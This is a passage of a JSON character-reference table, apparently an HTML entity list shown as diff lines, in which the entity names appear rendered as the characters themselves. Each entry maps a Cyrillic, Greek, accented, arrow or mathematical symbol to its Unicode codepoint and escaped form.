"Ќ": { "codepoints": [1036], "characters": "\u040C" }, - "Κ": { "codepoints": [922], "characters": "\u039A" }, - "Ķ": { "codepoints": [310], "characters": "\u0136" }, - "К": { "codepoints": [1050], "characters": "\u041A" }, - "𝔎": { "codepoints": [120078], "characters": "\uD835\uDD0E" }, - "𝕂": { "codepoints": [120130], "characters": "\uD835\uDD42" }, - "𝒦": { "codepoints": [119974], "characters": "\uD835\uDCA6" }, - "Љ": { "codepoints": [1033], "characters": "\u0409" }, - "<": { "codepoints": [60], "characters": "\u003C" }, - "<": { "codepoints": [60], "characters": "\u003C" }, - "Ĺ": { "codepoints": [313], "characters": "\u0139" }, - "Λ": { "codepoints": [923], "characters": "\u039B" }, - "⟪": { "codepoints": [10218], "characters": "\u27EA" }, - "ℒ": { "codepoints": [8466], "characters": "\u2112" }, - "↞": { "codepoints": [8606], "characters": "\u219E" }, - "Ľ": { "codepoints": [317], "characters": "\u013D" }, - "Ļ": { "codepoints": [315], "characters": "\u013B" }, - "Л": { "codepoints": [1051], "characters": "\u041B" }, - "⟨": { "codepoints": [10216], "characters": "\u27E8" }, - "←": { "codepoints": [8592], "characters": "\u2190" }, - "⇤": { "codepoints": [8676], "characters": "\u21E4" }, - "⇆": { "codepoints": [8646], "characters": "\u21C6" }, - "⌈": { "codepoints": [8968], "characters": "\u2308" }, - "⟦": { "codepoints": [10214], "characters": "\u27E6" }, - "⥡": { "codepoints": [10593], "characters": "\u2961" }, - "⇃": { "codepoints": [8643], "characters": "\u21C3" }, - "⥙": { "codepoints": [10585], "characters": "\u2959" }, - "⌊": { "codepoints": [8970], "characters": "\u230A" }, - "↔": { "codepoints": [8596], "characters": "\u2194" }, - "⥎": { "codepoints": [10574], "characters": "\u294E" }, - "⊣": { "codepoints": [8867], "characters": "\u22A3" }, - "↤": { "codepoints": [8612], "characters": "\u21A4" }, - "⥚": { "codepoints": [10586], "characters": "\u295A" }, - "⊲": { "codepoints": [8882], "characters": "\u22B2" }, - "⧏": { "codepoints": [10703], "characters": "\u29CF" }, - "⊴": { "codepoints": [8884], "characters": "\u22B4" }, - "⥑": { "codepoints": [10577], "characters": "\u2951" }, - "⥠": { "codepoints": [10592], "characters": "\u2960" }, - "↿": { "codepoints": [8639], "characters": "\u21BF" }, - "⥘": { "codepoints": [10584], "characters": "\u2958" }, - "↼": { "codepoints": [8636], "characters": "\u21BC" }, - "⥒": { "codepoints": [10578], "characters": "\u2952" }, - "⇐": { "codepoints": [8656], "characters": "\u21D0" }, - "⇔": { "codepoints": [8660], "characters": "\u21D4" }, - "⋚": { "codepoints": [8922], "characters": "\u22DA" }, - "≦": { "codepoints": [8806], "characters": "\u2266" }, - "≶": { "codepoints": [8822], "characters": "\u2276" }, - "⪡": { "codepoints": [10913], "characters": "\u2AA1" }, - "⩽": { "codepoints": [10877], "characters": "\u2A7D" }, - "≲": { "codepoints": [8818], "characters": "\u2272" }, - "𝔏": { "codepoints": [120079], "characters": "\uD835\uDD0F" }, - "⋘": { "codepoints": [8920], "characters": "\u22D8" }, - "⇚": { "codepoints": [8666], "characters": "\u21DA" }, - "Ŀ": { "codepoints": [319], "characters": "\u013F" }, - "⟵": { "codepoints": [10229], "characters": "\u27F5" }, - "⟷": { "codepoints": [10231], "characters": "\u27F7" }, - "⟶": { "codepoints": [10230], "characters": "\u27F6" }, - "⟸": { "codepoints": [10232], "characters": "\u27F8" }, - "⟺": { "codepoints": [10234], "characters": "\u27FA" }, - "⟹": { "codepoints": [10233], "characters": "\u27F9" }, - "𝕃": { "codepoints": [120131], "characters": "\uD835\uDD43" }, - "↙": { "codepoints": [8601], "characters": "\u2199" }, - "↘": { "codepoints": [8600], "characters": "\u2198" }, - "ℒ": { "codepoints": [8466], "characters": "\u2112" }, - "↰": { "codepoints": [8624], "characters": "\u21B0" }, - "Ł": { "codepoints": [321], "characters": "\u0141" }, - "≪": { "codepoints": [8810], "characters": "\u226A" }, - "⤅": { "codepoints": [10501], "characters": "\u2905" }, - "М": { "codepoints": [1052], "characters": "\u041C" }, - " ": { "codepoints": [8287], "characters": "\u205F" }, - "ℳ": { "codepoints": [8499], "characters": "\u2133" }, - "𝔐": { "codepoints": [120080], "characters": "\uD835\uDD10" }, - "∓": { "codepoints": [8723], "characters": "\u2213" }, - "𝕄": { "codepoints": [120132], "characters": "\uD835\uDD44" }, - "ℳ": { "codepoints": [8499], "characters": "\u2133" }, - "Μ": { "codepoints": [924], "characters": "\u039C" }, - "Њ": { "codepoints": [1034], "characters": "\u040A" }, - "Ń": { "codepoints": [323], "characters": "\u0143" }, - "Ň": { "codepoints": [327], "characters": "\u0147" }, - "Ņ": { "codepoints": [325], "characters": "\u0145" }, - "Н": { "codepoints": [1053], "characters": "\u041D" }, - "​": { "codepoints": [8203], "characters": "\u200B" }, - "​": { "codepoints": [8203], "characters": "\u200B" }, - "​": { "codepoints": [8203], "characters": "\u200B" }, - "​": { "codepoints": [8203], "characters": "\u200B" }, - "≫": { "codepoints": [8811], "characters": "\u226B" }, - "≪": { "codepoints": [8810], "characters": "\u226A" }, - " ": { "codepoints": [10], "characters": "\u000A" }, - "𝔑": { "codepoints": [120081], "characters": "\uD835\uDD11" }, - "⁠": { "codepoints": [8288], "characters": "\u2060" }, - " ": { "codepoints": [160], "characters": "\u00A0" }, - "ℕ": { "codepoints": [8469], "characters": "\u2115" }, - "⫬": { "codepoints": [10988], "characters": "\u2AEC" }, - "≢": { "codepoints": [8802], "characters": "\u2262" }, - "≭": { "codepoints": [8813], "characters": "\u226D" }, - "∦": { "codepoints": [8742], "characters": "\u2226" }, - "∉": { "codepoints": [8713], "characters": "\u2209" }, - "≠": { "codepoints": [8800], "characters": "\u2260" }, - "≂̸": { "codepoints": [8770, 824], "characters": "\u2242\u0338" }, - "∄": { "codepoints": [8708], "characters": "\u2204" }, - "≯": { "codepoints": [8815], "characters": "\u226F" }, - "≱": { "codepoints": [8817], "characters": "\u2271" }, - "≧̸": { "codepoints": [8807, 824], "characters": "\u2267\u0338" }, - "≫̸": { "codepoints": [8811, 824], "characters": "\u226B\u0338" }, - "≹": { "codepoints": [8825], "characters": "\u2279" }, - "⩾̸": { "codepoints": [10878, 824], "characters": "\u2A7E\u0338" }, - "≵": { "codepoints": [8821], "characters": "\u2275" }, - "≎̸": { "codepoints": [8782, 824], "characters": "\u224E\u0338" }, - "≏̸": { "codepoints": [8783, 824], "characters": "\u224F\u0338" }, - "⋪": { "codepoints": [8938], "characters": "\u22EA" }, - "⧏̸": { "codepoints": [10703, 824], "characters": "\u29CF\u0338" }, - "⋬": { "codepoints": [8940], "characters": "\u22EC" }, - "≮": { "codepoints": [8814], "characters": "\u226E" }, - "≰": { "codepoints": [8816], "characters": "\u2270" }, - "≸": { "codepoints": [8824], "characters": "\u2278" }, - "≪̸": { "codepoints": [8810, 824], "characters": "\u226A\u0338" }, - "⩽̸": { "codepoints": [10877, 824], "characters": "\u2A7D\u0338" }, - "≴": { "codepoints": [8820], "characters": "\u2274" }, - "⪢̸": { "codepoints": [10914, 824], "characters": "\u2AA2\u0338" }, - "⪡̸": { "codepoints": [10913, 824], "characters": "\u2AA1\u0338" }, - "⊀": { "codepoints": [8832], "characters": "\u2280" }, - "⪯̸": { "codepoints": [10927, 824], "characters": "\u2AAF\u0338" }, - "⋠": { "codepoints": [8928], "characters": "\u22E0" }, - "∌": { "codepoints": [8716], "characters": "\u220C" }, - "⋫": { "codepoints": [8939], "characters": "\u22EB" }, - "⧐̸": { "codepoints": [10704, 824], "characters": "\u29D0\u0338" }, - "⋭": { "codepoints": [8941], "characters": "\u22ED" }, - "⊏̸": { "codepoints": [8847, 824], "characters": "\u228F\u0338" }, - "⋢": { "codepoints": [8930], "characters": "\u22E2" }, - "⊐̸": { "codepoints": [8848, 824], "characters": "\u2290\u0338" }, - "⋣": { "codepoints": [8931], "characters": "\u22E3" }, - "⊂⃒": { "codepoints": [8834, 8402], "characters": "\u2282\u20D2" }, - "⊈": { "codepoints": [8840], "characters": "\u2288" }, - "⊁": { "codepoints": [8833], "characters": "\u2281" }, - "⪰̸": { "codepoints": [10928, 824], "characters": "\u2AB0\u0338" }, - "⋡": { "codepoints": [8929], "characters": "\u22E1" }, - "≿̸": { "codepoints": [8831, 824], "characters": "\u227F\u0338" }, - "⊃⃒": { "codepoints": [8835, 8402], "characters": "\u2283\u20D2" }, - "⊉": { "codepoints": [8841], "characters": "\u2289" }, - "≁": { "codepoints": [8769], "characters": "\u2241" }, - "≄": { "codepoints": [8772], "characters": "\u2244" }, - "≇": { "codepoints": [8775], "characters": "\u2247" }, - "≉": { "codepoints": [8777], "characters": "\u2249" }, - "∤": { "codepoints": [8740], "characters": "\u2224" }, - "𝒩": { "codepoints": [119977], "characters": "\uD835\uDCA9" }, - "Ñ": { "codepoints": [209], "characters": "\u00D1" }, - "Ñ": { "codepoints": [209], "characters": "\u00D1" }, - "Ν": { "codepoints": [925], "characters": "\u039D" }, - "Œ": { "codepoints": [338], "characters": "\u0152" }, - "Ó": { "codepoints": [211], "characters": "\u00D3" }, - "Ó": { "codepoints": [211], "characters": "\u00D3" }, - "Ô": { "codepoints": [212], "characters": "\u00D4" }, - "Ô": { "codepoints": [212], "characters": "\u00D4" }, - "О": { "codepoints": [1054], "characters": "\u041E" }, - "Ő": { "codepoints": [336], "characters": "\u0150" }, - "𝔒": { "codepoints": [120082], "characters": "\uD835\uDD12" }, - "Ò": { "codepoints": [210], "characters": "\u00D2" }, - "Ò": { "codepoints": [210], "characters": "\u00D2" }, - "Ō": { "codepoints": [332], "characters": "\u014C" }, - "Ω": { "codepoints": [937], "characters": "\u03A9" }, - "Ο": { "codepoints": [927], "characters": "\u039F" }, - "𝕆": { "codepoints": [120134], "characters": "\uD835\uDD46" }, - "“": { "codepoints": [8220], "characters": "\u201C" }, - "‘": { "codepoints": [8216], "characters": "\u2018" }, - "⩔": { "codepoints": [10836], "characters": "\u2A54" }, - "𝒪": { "codepoints": [119978], "characters": "\uD835\uDCAA" }, - "Ø": { "codepoints": [216], "characters": "\u00D8" }, - "Ø": { "codepoints": [216], "characters": "\u00D8" }, - "Õ": { "codepoints": [213], "characters": "\u00D5" }, - "Õ": { "codepoints": [213], "characters": "\u00D5" }, - "⨷": { "codepoints": [10807], "characters": "\u2A37" }, - "Ö": { "codepoints": [214], "characters": "\u00D6" }, - "Ö": { "codepoints": [214], "characters": "\u00D6" }, - "‾": { "codepoints": [8254], "characters": "\u203E" }, - "⏞": { "codepoints": [9182], "characters": "\u23DE" }, - "⎴": { "codepoints": [9140], "characters": "\u23B4" }, - "⏜": { "codepoints": [9180], "characters": "\u23DC" }, - "∂": { "codepoints": [8706], "characters": "\u2202" }, - "П": { "codepoints": [1055], "characters": "\u041F" }, - "𝔓": { "codepoints": [120083], "characters": "\uD835\uDD13" }, - "Φ": { "codepoints": [934], "characters": "\u03A6" }, - "Π": { "codepoints": [928], "characters": "\u03A0" }, - "±": { "codepoints": [177], "characters": "\u00B1" }, - "ℌ": { "codepoints": [8460], "characters": "\u210C" }, - "ℙ": { "codepoints": [8473], "characters": "\u2119" }, - "⪻": { "codepoints": [10939], "characters": "\u2ABB" }, - "≺": { "codepoints": [8826], "characters": "\u227A" }, - "⪯": { "codepoints": [10927], "characters": "\u2AAF" }, - "≼": { "codepoints": [8828], "characters": "\u227C" }, - "≾": { "codepoints": [8830], "characters": "\u227E" }, - "″": { "codepoints": [8243], "characters": "\u2033" }, - "∏": { "codepoints": [8719], "characters": "\u220F" }, - "∷": { "codepoints": [8759], "characters": "\u2237" }, - "∝": { "codepoints": [8733], "characters": "\u221D" }, - "𝒫": { "codepoints": [119979], "characters": "\uD835\uDCAB" }, - "Ψ": { "codepoints": [936], "characters": "\u03A8" }, - """: { "codepoints": [34], "characters": "\u0022" }, - """: { "codepoints": [34], "characters": "\u0022" }, - "𝔔": { "codepoints": [120084], "characters": "\uD835\uDD14" }, - "ℚ": { "codepoints": [8474], "characters": "\u211A" }, - "𝒬": { "codepoints": [119980], "characters": "\uD835\uDCAC" }, - "⤐": { "codepoints": [10512], "characters": "\u2910" }, - "®": { "codepoints": [174], "characters": "\u00AE" }, - "®": { "codepoints": [174], "characters": "\u00AE" }, - "Ŕ": { "codepoints": [340], "characters": "\u0154" }, - "⟫": { "codepoints": [10219], "characters": "\u27EB" }, - "↠": { "codepoints": [8608], "characters": "\u21A0" }, - "⤖": { "codepoints": [10518], "characters": "\u2916" }, - "Ř": { "codepoints": [344], "characters": "\u0158" }, - "Ŗ": { "codepoints": [342], "characters": "\u0156" }, - "Р": { "codepoints": [1056], "characters": "\u0420" }, - "ℜ": { "codepoints": [8476], "characters": "\u211C" }, - "∋": { "codepoints": [8715], "characters": "\u220B" }, - "⇋": { "codepoints": [8651], "characters": "\u21CB" }, - "⥯": { "codepoints": [10607], "characters": "\u296F" }, - "ℜ": { "codepoints": [8476], "characters": "\u211C" }, - "Ρ": { "codepoints": [929], "characters": "\u03A1" }, - "⟩": { "codepoints": [10217], "characters": "\u27E9" }, - "→": { "codepoints": [8594], "characters": "\u2192" }, - "⇥": { "codepoints": [8677], "characters": "\u21E5" }, - "⇄": { "codepoints": [8644], "characters": "\u21C4" }, - "⌉": { "codepoints": [8969], "characters": "\u2309" }, - "⟧": { "codepoints": [10215], "characters": "\u27E7" }, - "⥝": { "codepoints": [10589], "characters": "\u295D" }, - "⇂": { "codepoints": [8642], "characters": "\u21C2" }, - "⥕": { "codepoints": [10581], "characters": "\u2955" }, - "⌋": { "codepoints": [8971], "characters": "\u230B" }, - "⊢": { "codepoints": [8866], "characters": "\u22A2" }, - "↦": { "codepoints": [8614], "characters": "\u21A6" }, - "⥛": { "codepoints": [10587], "characters": "\u295B" }, - "⊳": { "codepoints": [8883], "characters": "\u22B3" }, - "⧐": { "codepoints": [10704], "characters": "\u29D0" }, - "⊵": { "codepoints": [8885], "characters": "\u22B5" }, - "⥏": { "codepoints": [10575], "characters": "\u294F" }, - "⥜": { "codepoints": [10588], "characters": "\u295C" }, - "↾": { "codepoints": [8638], "characters": "\u21BE" }, - "⥔": { "codepoints": [10580], "characters": "\u2954" }, - "⇀": { "codepoints": [8640], "characters": "\u21C0" }, - "⥓": { "codepoints": [10579], "characters": "\u2953" }, - "⇒": { "codepoints": [8658], "characters": "\u21D2" }, - "ℝ": { "codepoints": [8477], "characters": "\u211D" }, - "⥰": { "codepoints": [10608], "characters": "\u2970" }, - "⇛": { "codepoints": [8667], "characters": "\u21DB" }, - "ℛ": { "codepoints": [8475], "characters": "\u211B" }, - "↱": { "codepoints": [8625], "characters": "\u21B1" }, - "⧴": { "codepoints": [10740], "characters": "\u29F4" }, - "Щ": { "codepoints": [1065], "characters": "\u0429" }, - "Ш": { "codepoints": [1064], "characters": "\u0428" }, - "Ь": { "codepoints": [1068], "characters": "\u042C" }, - "Ś": { "codepoints": [346], "characters": "\u015A" }, - "⪼": { "codepoints": [10940], "characters": "\u2ABC" }, - "Š": { "codepoints": [352], "characters": "\u0160" }, - "Ş": { "codepoints": [350], "characters": "\u015E" }, - "Ŝ": { "codepoints": [348], "characters": "\u015C" }, - "С": { "codepoints": [1057], "characters": "\u0421" }, - "𝔖": { "codepoints": [120086], "characters": "\uD835\uDD16" }, - "↓": { "codepoints": [8595], "characters": "\u2193" }, - "←": { "codepoints": [8592], "characters": "\u2190" }, - "→": { "codepoints": [8594], "characters": "\u2192" }, - "↑": { "codepoints": [8593], "characters": "\u2191" }, - "Σ": { "codepoints": [931], "characters": "\u03A3" }, - "∘": { "codepoints": [8728], "characters": "\u2218" }, - "𝕊": { "codepoints": [120138], "characters": "\uD835\uDD4A" }, - "√": { "codepoints": [8730], "characters": "\u221A" }, - "□": { "codepoints": [9633], "characters": "\u25A1" }, - "⊓": { "codepoints": [8851], "characters": "\u2293" }, - "⊏": { "codepoints": [8847], "characters": "\u228F" }, - "⊑": { "codepoints": [8849], "characters": "\u2291" }, - "⊐": { "codepoints": [8848], "characters": "\u2290" }, - "⊒": { "codepoints": [8850], "characters": "\u2292" }, - "⊔": { "codepoints": [8852], "characters": "\u2294" }, - "𝒮": { "codepoints": [119982], "characters": "\uD835\uDCAE" }, - "⋆": { "codepoints": [8902], "characters": "\u22C6" }, - "⋐": { "codepoints": [8912], "characters": "\u22D0" }, - "⋐": { "codepoints": [8912], "characters": "\u22D0" }, - "⊆": { "codepoints": [8838], "characters": "\u2286" }, - "≻": { "codepoints": [8827], "characters": "\u227B" }, - "⪰": { "codepoints": [10928], "characters": "\u2AB0" }, - "≽": { "codepoints": [8829], "characters": "\u227D" }, - "≿": { "codepoints": [8831], "characters": "\u227F" }, - "∋": { "codepoints": [8715], "characters": "\u220B" }, - "∑": { "codepoints": [8721], "characters": "\u2211" }, - "⋑": { "codepoints": [8913], "characters": "\u22D1" }, - "⊃": { "codepoints": [8835], "characters": "\u2283" }, - "⊇": { "codepoints": [8839], "characters": "\u2287" }, - "⋑": { "codepoints": [8913], "characters": "\u22D1" }, - "Þ": { "codepoints": [222], "characters": "\u00DE" }, - "Þ": { "codepoints": [222], "characters": "\u00DE" }, - "™": { "codepoints": [8482], "characters": "\u2122" }, - "Ћ": { "codepoints": [1035], "characters": "\u040B" }, - "Ц": { "codepoints": [1062], "characters": "\u0426" }, - " ": { "codepoints": [9], "characters": "\u0009" }, - "Τ": { "codepoints": [932], "characters": "\u03A4" }, - "Ť": { "codepoints": [356], "characters": "\u0164" }, - "Ţ": { "codepoints": [354], "characters": "\u0162" }, - "Т": { "codepoints": [1058], "characters": "\u0422" }, - "𝔗": { "codepoints": [120087], "characters": "\uD835\uDD17" }, - "∴": { "codepoints": [8756], "characters": "\u2234" }, - "Θ": { "codepoints": [920], "characters": "\u0398" }, - "  ": { "codepoints": [8287, 8202], "characters": "\u205F\u200A" }, - " ": { "codepoints": [8201], "characters": "\u2009" }, - "∼": { "codepoints": [8764], "characters": "\u223C" }, - "≃": { "codepoints": [8771], "characters": "\u2243" }, - "≅": { "codepoints": [8773], "characters": "\u2245" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "𝕋": { "codepoints": [120139], "characters": "\uD835\uDD4B" }, - "⃛": { "codepoints": [8411], "characters": "\u20DB" }, - "𝒯": { "codepoints": [119983], "characters": "\uD835\uDCAF" }, - "Ŧ": { "codepoints": [358], "characters": "\u0166" }, - "Ú": { "codepoints": [218], "characters": "\u00DA" }, - "Ú": { "codepoints": [218], "characters": "\u00DA" }, - "↟": { "codepoints": [8607], "characters": "\u219F" }, - "⥉": { "codepoints": [10569], "characters": "\u2949" }, - "Ў": { "codepoints": [1038], "characters": "\u040E" }, - "Ŭ": { "codepoints": [364], "characters": "\u016C" }, - "Û": { "codepoints": [219], "characters": "\u00DB" }, - "Û": { "codepoints": [219], "characters": "\u00DB" }, - "У": { "codepoints": [1059], "characters": "\u0423" }, - "Ű": { "codepoints": [368], "characters": "\u0170" }, - "𝔘": { "codepoints": [120088], "characters": "\uD835\uDD18" }, - "Ù": { "codepoints": [217], "characters": "\u00D9" }, - "Ù": { "codepoints": [217], "characters": "\u00D9" }, - "Ū": { "codepoints": [362], "characters": "\u016A" }, - "_": { "codepoints": [95], "characters": "\u005F" }, - "⏟": { "codepoints": [9183], "characters": "\u23DF" }, - "⎵": { "codepoints": [9141], "characters": "\u23B5" }, - "⏝": { "codepoints": [9181], "characters": "\u23DD" }, - "⋃": { "codepoints": [8899], "characters": "\u22C3" }, - "⊎": { "codepoints": [8846], "characters": "\u228E" }, - "Ų": { "codepoints": [370], "characters": "\u0172" }, - "𝕌": { "codepoints": [120140], "characters": "\uD835\uDD4C" }, - "↑": { "codepoints": [8593], "characters": "\u2191" }, - "⤒": { "codepoints": [10514], "characters": "\u2912" }, - "⇅": { "codepoints": [8645], "characters": "\u21C5" }, - "↕": { "codepoints": [8597], "characters": "\u2195" }, - "⥮": { "codepoints": [10606], "characters": "\u296E" }, - "⊥": { "codepoints": [8869], "characters": "\u22A5" }, - "↥": { "codepoints": [8613], "characters": "\u21A5" }, - "⇑": { "codepoints": [8657], "characters": "\u21D1" }, - "⇕": { "codepoints": [8661], "characters": "\u21D5" }, - "↖": { "codepoints": [8598], "characters": "\u2196" }, - "↗": { "codepoints": [8599], "characters": "\u2197" }, - "ϒ": { "codepoints": [978], "characters": "\u03D2" }, - "Υ": { "codepoints": [933], "characters": "\u03A5" }, - "Ů": { "codepoints": [366], "characters": "\u016E" }, - "𝒰": { "codepoints": [119984], "characters": "\uD835\uDCB0" }, - "Ũ": { "codepoints": [360], "characters": "\u0168" }, - "Ü": { "codepoints": [220], "characters": "\u00DC" }, - "Ü": { "codepoints": [220], "characters": "\u00DC" }, - "⊫": { "codepoints": [8875], "characters": "\u22AB" }, - "⫫": { "codepoints": [10987], "characters": "\u2AEB" }, - "В": { "codepoints": [1042], "characters": "\u0412" }, - "⊩": { "codepoints": [8873], "characters": "\u22A9" }, - "⫦": { "codepoints": [10982], "characters": "\u2AE6" }, - "⋁": { "codepoints": [8897], "characters": "\u22C1" }, - "‖": { "codepoints": [8214], "characters": "\u2016" }, - "‖": { "codepoints": [8214], "characters": "\u2016" }, - "∣": { "codepoints": [8739], "characters": "\u2223" }, - "|": { "codepoints": [124], "characters": "\u007C" }, - "❘": { "codepoints": [10072], "characters": "\u2758" }, - "≀": { "codepoints": [8768], "characters": "\u2240" }, - " ": { "codepoints": [8202], "characters": "\u200A" }, - "𝔙": { "codepoints": [120089], "characters": "\uD835\uDD19" }, - "𝕍": { "codepoints": [120141], "characters": "\uD835\uDD4D" }, - "𝒱": { "codepoints": [119985], "characters": "\uD835\uDCB1" }, - "⊪": { "codepoints": [8874], "characters": "\u22AA" }, - "Ŵ": { "codepoints": [372], "characters": "\u0174" }, - "⋀": { "codepoints": [8896], "characters": "\u22C0" }, - "𝔚": { "codepoints": [120090], "characters": "\uD835\uDD1A" }, - "𝕎": { "codepoints": [120142], "characters": "\uD835\uDD4E" }, - "𝒲": { "codepoints": [119986], "characters": "\uD835\uDCB2" }, - "𝔛": { "codepoints": [120091], "characters": "\uD835\uDD1B" }, - "Ξ": { "codepoints": [926], "characters": "\u039E" }, - "𝕏": { "codepoints": [120143], "characters": "\uD835\uDD4F" }, - "𝒳": { "codepoints": [119987], "characters": "\uD835\uDCB3" }, - "Я": { "codepoints": [1071], "characters": "\u042F" }, - "Ї": { "codepoints": [1031], "characters": "\u0407" }, - "Ю": { "codepoints": [1070], "characters": "\u042E" }, - "Ý": { "codepoints": [221], "characters": "\u00DD" }, - "Ý": { "codepoints": [221], "characters": "\u00DD" }, - "Ŷ": { "codepoints": [374], "characters": "\u0176" }, - "Ы": { "codepoints": [1067], "characters": "\u042B" }, - "𝔜": { "codepoints": [120092], "characters": "\uD835\uDD1C" }, - "𝕐": { "codepoints": [120144], "characters": "\uD835\uDD50" }, - "𝒴": { "codepoints": [119988], "characters": "\uD835\uDCB4" }, - "Ÿ": { "codepoints": [376], "characters": "\u0178" }, - "Ж": { "codepoints": [1046], "characters": "\u0416" }, - "Ź": { "codepoints": [377], "characters": "\u0179" }, - "Ž": { "codepoints": [381], "characters": "\u017D" }, - "З": { "codepoints": [1047], "characters": "\u0417" }, - "Ż": { "codepoints": [379], "characters": "\u017B" }, - "​": { "codepoints": [8203], "characters": "\u200B" }, - "Ζ": { "codepoints": [918], "characters": "\u0396" }, - "ℨ": { "codepoints": [8488], "characters": "\u2128" }, - "ℤ": { "codepoints": [8484], "characters": "\u2124" }, - "𝒵": { "codepoints": [119989], "characters": "\uD835\uDCB5" }, - "á": { "codepoints": [225], "characters": "\u00E1" }, - "á": { "codepoints": [225], "characters": "\u00E1" }, - "ă": { "codepoints": [259], "characters": "\u0103" }, - "∾": { "codepoints": [8766], "characters": "\u223E" }, - "∾̳": { "codepoints": [8766, 819], "characters": "\u223E\u0333" }, - "∿": { "codepoints": [8767], "characters": "\u223F" }, - "â": { "codepoints": [226], "characters": "\u00E2" }, - "â": { "codepoints": [226], "characters": "\u00E2" }, - "´": { "codepoints": [180], "characters": "\u00B4" }, - "´": { "codepoints": [180], "characters": "\u00B4" }, - "а": { "codepoints": [1072], "characters": "\u0430" }, - "æ": { "codepoints": [230], "characters": "\u00E6" }, - "æ": { "codepoints": [230], "characters": "\u00E6" }, - "⁡": { "codepoints": [8289], "characters": "\u2061" }, - "𝔞": { "codepoints": [120094], "characters": "\uD835\uDD1E" }, - "à": { "codepoints": [224], "characters": "\u00E0" }, - "à": { "codepoints": [224], "characters": "\u00E0" }, - "ℵ": { "codepoints": [8501], "characters": "\u2135" }, - "ℵ": { "codepoints": [8501], "characters": "\u2135" }, - "α": { "codepoints": [945], "characters": "\u03B1" }, - "ā": { "codepoints": [257], "characters": "\u0101" }, - "⨿": { "codepoints": [10815], "characters": "\u2A3F" }, - "&": { "codepoints": [38], "characters": "\u0026" }, - "&": { "codepoints": [38], "characters": "\u0026" }, - "∧": { "codepoints": [8743], "characters": "\u2227" }, - "⩕": { "codepoints": [10837], "characters": "\u2A55" }, - "⩜": { "codepoints": [10844], "characters": "\u2A5C" }, - "⩘": { "codepoints": [10840], "characters": "\u2A58" }, - "⩚": { "codepoints": [10842], "characters": "\u2A5A" }, - "∠": { "codepoints": [8736], "characters": "\u2220" }, - "⦤": { "codepoints": [10660], "characters": "\u29A4" }, - "∠": { "codepoints": [8736], "characters": "\u2220" }, - "∡": { "codepoints": [8737], "characters": "\u2221" }, - "⦨": { "codepoints": [10664], "characters": "\u29A8" }, - "⦩": { "codepoints": [10665], "characters": "\u29A9" }, - "⦪": { "codepoints": [10666], "characters": "\u29AA" }, - "⦫": { "codepoints": [10667], "characters": "\u29AB" }, - "⦬": { "codepoints": [10668], "characters": "\u29AC" }, - "⦭": { "codepoints": [10669], "characters": "\u29AD" }, - "⦮": { "codepoints": [10670], "characters": "\u29AE" }, - "⦯": { "codepoints": [10671], "characters": "\u29AF" }, - "∟": { "codepoints": [8735], "characters": "\u221F" }, - "⊾": { "codepoints": [8894], "characters": "\u22BE" }, - "⦝": { "codepoints": [10653], "characters": "\u299D" }, - "∢": { "codepoints": [8738], "characters": "\u2222" }, - "Å": { "codepoints": [197], "characters": "\u00C5" }, - "⍼": { "codepoints": [9084], "characters": "\u237C" }, - "ą": { "codepoints": [261], "characters": "\u0105" }, - "𝕒": { "codepoints": [120146], "characters": "\uD835\uDD52" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "⩰": { "codepoints": [10864], "characters": "\u2A70" }, - "⩯": { "codepoints": [10863], "characters": "\u2A6F" }, - "≊": { "codepoints": [8778], "characters": "\u224A" }, - "≋": { "codepoints": [8779], "characters": "\u224B" }, - "'": { "codepoints": [39], "characters": "\u0027" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "≊": { "codepoints": [8778], "characters": "\u224A" }, - "å": { "codepoints": [229], "characters": "\u00E5" }, - "å": { "codepoints": [229], "characters": "\u00E5" }, - "𝒶": { "codepoints": [119990], "characters": "\uD835\uDCB6" }, - "*": { "codepoints": [42], "characters": "\u002A" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "≍": { "codepoints": [8781], "characters": "\u224D" }, - "ã": { "codepoints": [227], "characters": "\u00E3" }, - "ã": { "codepoints": [227], "characters": "\u00E3" }, - "ä": { "codepoints": [228], "characters": "\u00E4" }, - "ä": { "codepoints": [228], "characters": "\u00E4" }, - "∳": { "codepoints": [8755], "characters": "\u2233" }, - "⨑": { "codepoints": [10769], "characters": "\u2A11" }, - "⫭": { "codepoints": [10989], "characters": "\u2AED" }, - "≌": { "codepoints": [8780], "characters": "\u224C" }, - "϶": { "codepoints": [1014], "characters": "\u03F6" }, - "‵": { "codepoints": [8245], "characters": "\u2035" }, - "∽": { "codepoints": [8765], "characters": "\u223D" }, - "⋍": { "codepoints": [8909], "characters": "\u22CD" }, - "⊽": { "codepoints": [8893], "characters": "\u22BD" }, - "⌅": { "codepoints": [8965], "characters": "\u2305" }, - "⌅": { "codepoints": [8965], "characters": "\u2305" }, - "⎵": { "codepoints": [9141], "characters": "\u23B5" }, - "⎶": { "codepoints": [9142], "characters": "\u23B6" }, - "≌": { "codepoints": [8780], "characters": "\u224C" }, - "б": { "codepoints": [1073], "characters": "\u0431" }, - "„": { "codepoints": [8222], "characters": "\u201E" }, - "∵": { "codepoints": [8757], "characters": "\u2235" }, - "∵": { "codepoints": [8757], "characters": "\u2235" }, - "⦰": { "codepoints": [10672], "characters": "\u29B0" }, - "϶": { "codepoints": [1014], "characters": "\u03F6" }, - "ℬ": { "codepoints": [8492], "characters": "\u212C" }, - "β": { "codepoints": [946], "characters": "\u03B2" }, - "ℶ": { "codepoints": [8502], "characters": "\u2136" }, - "≬": { "codepoints": [8812], "characters": "\u226C" }, - "𝔟": { "codepoints": [120095], "characters": "\uD835\uDD1F" }, - "⋂": { "codepoints": [8898], "characters": "\u22C2" }, - "◯": { "codepoints": [9711], "characters": "\u25EF" }, - "⋃": { "codepoints": [8899], "characters": "\u22C3" }, - "⨀": { "codepoints": [10752], "characters": "\u2A00" }, - "⨁": { "codepoints": [10753], "characters": "\u2A01" }, - "⨂": { "codepoints": [10754], "characters": "\u2A02" }, - "⨆": { "codepoints": [10758], "characters": "\u2A06" }, - "★": { "codepoints": [9733], "characters": "\u2605" }, - "▽": { "codepoints": [9661], "characters": "\u25BD" }, - "△": { "codepoints": [9651], "characters": "\u25B3" }, - "⨄": { "codepoints": [10756], "characters": "\u2A04" }, - "⋁": { "codepoints": [8897], "characters": "\u22C1" }, - "⋀": { "codepoints": [8896], "characters": "\u22C0" }, - "⤍": { "codepoints": [10509], "characters": "\u290D" }, - "⧫": { "codepoints": [10731], "characters": "\u29EB" }, - "▪": { "codepoints": [9642], "characters": "\u25AA" }, - "▴": { 